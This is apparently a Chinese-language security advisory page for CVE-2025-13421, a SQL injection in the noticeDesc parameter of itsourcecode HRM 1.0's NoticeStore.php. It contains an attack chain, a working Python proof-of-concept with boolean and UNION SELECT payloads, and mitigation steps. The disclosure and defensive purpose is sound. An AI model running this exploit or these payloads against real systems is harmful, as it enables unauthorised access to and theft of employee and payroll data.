IPBUF安全漏洞报告
English
CVE-2025-13421 CVSS 7.3 高危

CVE-2025-13421 itsourcecode HRM系统 NoticeStore.php SQL注入漏洞

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-13421
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
itsourcecode Human Resource Management System 1.0

相关标签

SQL注入itsourcecode HRM人力资源管理系统远程代码执行高危漏洞CVE-2025-13421Web应用安全数据库安全

漏洞概述

CVE-2025-13421是itsourcecode公司开发的人力资源管理系统1.0版本中的一个高危安全漏洞。该漏洞存在于/src/store/NoticeStore.php文件中,由于对用户输入的noticeDesc参数未进行充分的输入验证和SQL语句过滤,导致攻击者可以通过构造恶意的SQL语句实现SQL注入攻击。

该漏洞的危险性在于:1)可远程利用,无需任何认证;2)CVSS评分达到7.3,属于高危级别;3)已公开披露并存在利用代码,攻击门槛较低。成功利用此漏洞,攻击者可以非法访问、修改或删除数据库中的敏感信息,包括员工个人信息、薪资数据、公司机密文档等。此外,攻击者还可能通过SQL注入获取系统更高权限,最终可能导致完整的服务器控制。

由于该漏洞影响的是人力资源管理系统的公告管理功能,而该功能通常对所有内部员工开放,因此一旦被利用,将对企业的数据安全和员工隐私保护造成严重威胁。建议受影响用户尽快采取修复措施,防止漏洞被恶意利用。

技术细节

该SQL注入漏洞位于itsourcecode人力资源管理系统的公告存储模块(NoticeStore.php)中。漏洞的根本原因是对用户可控的noticeDesc参数缺乏有效的输入过滤和SQL语句预编译处理。

漏洞利用原理:
1. 攻击者通过HTTP请求向/src/store/NoticeStore.php文件提交恶意的noticeDesc参数值
2. 由于缺少参数化查询,攻击者注入的SQL语句片段会与原始SQL语句拼接执行
3. 通过构造UNION SELECT、布尔盲注或时间盲注等SQL注入技术,攻击者可获取数据库中的敏感信息

常见利用方式包括:
- UNION注入:用于直接获取数据库表结构和数据
- 布尔盲注:通过页面响应差异推断数据库信息
- 时间盲注:利用SLEEP()等函数延迟响应来确认注入点

受影响组件分析:
- 文件路径:/src/store/NoticeStore.php
- 危险函数:数据库查询相关函数
- 注入点:noticeDesc参数
- 漏洞类型:基于错误的SQL注入或盲注

攻击链分析

STEP 1
1
信息收集:攻击者识别目标系统为itsourcecode HRM 1.0,确认Web服务可访问
STEP 2
2
漏洞探测:访问/src/store/NoticeStore.php接口,测试noticeDesc参数的SQL注入点
STEP 3
3
注入验证:使用布尔盲注payload(如 ' OR '1'='1)验证漏洞存在,确认响应差异
STEP 4
4
数据提取:通过UNION SELECT或盲注技术提取数据库版本、数据库名、表结构等敏感信息
STEP 5
5
权限提升:利用SQL注入获取管理员账户凭据或其他高权限账号信息
STEP 6
6
持久化控制:通过写入恶意数据或创建后门账户实现长期访问控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13421 SQL Injection PoC # Target: itsourcecode Human Resource Management System 1.0 # File: /src/store/NoticeStore.php # Parameter: noticeDesc def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability in NoticeStore.php Args: target_url: Base URL of the vulnerable application payload: SQL injection payload Returns: Response from the server """ endpoint = f"{target_url}/src/store/NoticeStore.php" # Prepare malicious data with SQL injection payload data = { 'noticeDesc': payload, # Other required parameters may be needed } try: response = requests.post(endpoint, data=data, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None def basic_detection(target_url): """ Basic vulnerability detection using boolean-based injection """ print(f"[*] Testing target: {target_url}") # Normal request normal_payload = "Test Notice" normal_response = exploit_sqli(target_url, normal_payload) # Injection test with boolean logic true_payload = "' OR '1'='1" false_payload = "' AND '1'='2" true_response = exploit_sqli(target_url, true_payload) false_response = exploit_sqli(target_url, false_payload) if true_response and false_response: if true_response.text != false_response.text: print("[+] Vulnerability potentially detected!") print(f"[+] True condition response length: {len(true_response.text)}") print(f"[+] False condition response length: {len(false_response.text)}") return True print("[-] Vulnerability not detected or target not vulnerable") return False def extract_database_info(target_url): """ Extract database information using UNION-based injection """ # UNION injection to get database version and current database payloads = [ "' UNION SELECT NULL,version(),database(),user()-- -", "' UNION SELECT NULL,@@version,@@datadir,@@hostname-- -" ] for payload in payloads: response = exploit_sqli(target_url, payload) if response and response.status_code == 200: print(f"[*] Payload: {payload}") print(f"[*] Response snippet: {response.text[:500]}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-13421.py <target_url>") print("Example: python cve-2025-13421.py http://target.com/hris") sys.exit(1) target = sys.argv[1].rstrip('/') # Step 1: Basic detection if basic_detection(target): print("\n[*] Proceeding with information extraction...") extract_database_info(target) else: print("\n[-] Target may not be vulnerable. Manual verification recommended.")

影响范围

itsourcecode Human Resource Management System 1.0

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)使用WAF规则过滤包含SQL注入特征的请求;2)限制NoticeStore.php接口的访问权限,仅允许受信任的IP地址访问;3)对noticeDesc参数实施严格的输入长度限制和字符过滤;4)启用数据库查询日志监控,及时发现异常SQL行为;5)考虑暂时禁用公告管理功能,待官方修复后再重新启用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表